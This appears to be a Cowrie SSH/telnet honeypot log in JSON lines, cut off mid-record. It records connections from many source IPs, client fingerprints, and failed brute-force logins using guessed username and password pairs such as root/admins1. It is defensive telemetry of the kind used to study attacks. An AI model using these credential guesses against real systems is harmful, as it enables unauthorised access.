{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:19:26.107487Z","src_ip":"2.57.122.238","session":"2e84cbba2e20","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"trx","password":"trx","message":"login attempt [trx/trx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:19:26.415495Z","src_ip":"2.57.122.238","session":"2e84cbba2e20","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:19:27.519528Z","src_ip":"2.57.122.238","session":"2e84cbba2e20","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.248.120.6","src_port":49143,"dst_ip":"10.17.0.5","dst_port":22,"session":"fb0da22f4047","protocol":"ssh","message":"New connection: 103.248.120.6:49143 (10.17.0.5:22) [session: fb0da22f4047]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:19:38.131763Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:19:38.139045Z","src_ip":"103.248.120.6","session":"fb0da22f4047","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:19:38.364464Z","src_ip":"103.248.120.6","session":"fb0da22f4047","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"joshua","password":"P@ssw0rd","message":"login attempt [joshua/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:19:39.295880Z","src_ip":"103.248.120.6","session":"fb0da22f4047","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":50244,"dst_ip":"159.203.135.109","dst_port":22,"session":"b87e9d6a62e9","protocol":"ssh","message":"New connection: 27.71.230.31:50244 (159.203.135.109:22) [session: b87e9d6a62e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:19:39.380271Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:19:39.627564Z","src_ip":"27.71.230.31","session":"b87e9d6a62e9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:19:39.632520Z","src_ip":"27.71.230.31","session":"b87e9d6a62e9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":55582,"dst_ip":"159.203.135.109","dst_port":22,"session":"5ab51ae1133f","protocol":"ssh","message":"New connection: 103.149.28.157:55582 (159.203.135.109:22) [session: 5ab51ae1133f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:19:40.179416Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:19:40.189153Z","src_ip":"103.149.28.157","session":"5ab51ae1133f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:19:40.434929Z","src_ip":"103.149.28.157","session":"5ab51ae1133f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:19:40.524206Z","src_ip":"103.248.120.6","session":"fb0da22f4047","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"15101980","message":"login attempt [root/15101980] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:19:41.172481Z","src_ip":"103.149.28.157","session":"5ab51ae1133f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":43818,"dst_ip":"10.17.0.5","dst_port":22,"session":"a5089cddceab","protocol":"ssh","message":"New connection: 109.237.96.109:43818 (10.17.0.5:22) [session: a5089cddceab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:19:41.706575Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:19:41.711271Z","src_ip":"109.237.96.109","session":"a5089cddceab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:19:41.800952Z","src_ip":"109.237.96.109","session":"a5089cddceab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"q112233","message":"login attempt [root/q112233] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:19:42.073241Z","src_ip":"109.237.96.109","session":"a5089cddceab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:19:42.421434Z","src_ip":"103.149.28.157","session":"5ab51ae1133f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:19:43.165473Z","src_ip":"109.237.96.109","session":"a5089cddceab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admins1","message":"login attempt [root/admins1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:19:43.500273Z","src_ip":"27.71.230.31","session":"b87e9d6a62e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.5","message":"Connection lost after 5.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:19:44.919548Z","src_ip":"27.71.230.31","session":"b87e9d6a62e9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":48996,"dst_ip":"10.17.0.5","dst_port":23,"session":"c6967580853d","protocol":"telnet","message":"New connection: 94.23.66.112:48996 (10.17.0.5:23) [session: c6967580853d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:19:46.628937Z"}
{"eventid":"cowrie.session.connect","src_ip":"4.213.224.194","src_port":60670,"dst_ip":"10.17.0.5","dst_port":22,"session":"80959b422b51","protocol":"ssh","message":"New connection: 4.213.224.194:60670 (10.17.0.5:22) [session: 80959b422b51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:20:03.369765Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:20:03.378680Z","src_ip":"4.213.224.194","session":"80959b422b51","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:20:03.566403Z","src_ip":"4.213.224.194","session":"80959b422b51","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123456789*","message":"login attempt [root/Aa123456789*] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:20:04.353911Z","src_ip":"4.213.224.194","session":"80959b422b51","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.58.215.196","src_port":26912,"dst_ip":"10.17.0.5","dst_port":22,"session":"12f1223c7f32","protocol":"ssh","message":"New connection: 123.58.215.196:26912 (10.17.0.5:22) [session: 12f1223c7f32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:20:04.706485Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:20:04.712006Z","src_ip":"123.58.215.196","session":"12f1223c7f32","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:20:04.933412Z","src_ip":"123.58.215.196","session":"12f1223c7f32","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:20:05.544298Z","src_ip":"4.213.224.194","session":"80959b422b51","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"home","message":"login attempt [root/home] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:20:05.861871Z","src_ip":"123.58.215.196","session":"12f1223c7f32","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.211.95.158","src_port":45870,"dst_ip":"159.203.135.109","dst_port":22,"session":"a60791d8cb7a","protocol":"ssh","message":"New connection: 91.211.95.158:45870 (159.203.135.109:22) [session: a60791d8cb7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:20:06.385283Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:20:06.393308Z","src_ip":"91.211.95.158","session":"a60791d8cb7a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:20:06.554035Z","src_ip":"91.211.95.158","session":"a60791d8cb7a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:20:07.089276Z","src_ip":"123.58.215.196","session":"12f1223c7f32","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"millennium","password":"millennium","message":"login attempt [millennium/millennium] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:20:07.235871Z","src_ip":"91.211.95.158","session":"a60791d8cb7a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:20:08.399861Z","src_ip":"91.211.95.158","session":"a60791d8cb7a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":56008,"dst_ip":"159.203.135.109","dst_port":23,"session":"ce0e1d9ff2c8","protocol":"telnet","message":"New connection: 172.81.62.90:56008 (159.203.135.109:23) [session: ce0e1d9ff2c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:20:57.643421Z"}
{"eventid":"cowrie.session.closed","duration":71.82847738265991,"message":"Connection lost after 71 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:20:58.457302Z","src_ip":"94.23.66.112","session":"c6967580853d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"190.128.201.18","src_port":58300,"dst_ip":"159.203.135.109","dst_port":22,"session":"0bc16a01c6f5","protocol":"ssh","message":"New connection: 190.128.201.18:58300 (159.203.135.109:22) [session: 0bc16a01c6f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:21:29.717650Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:21:29.722672Z","src_ip":"190.128.201.18","session":"0bc16a01c6f5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-s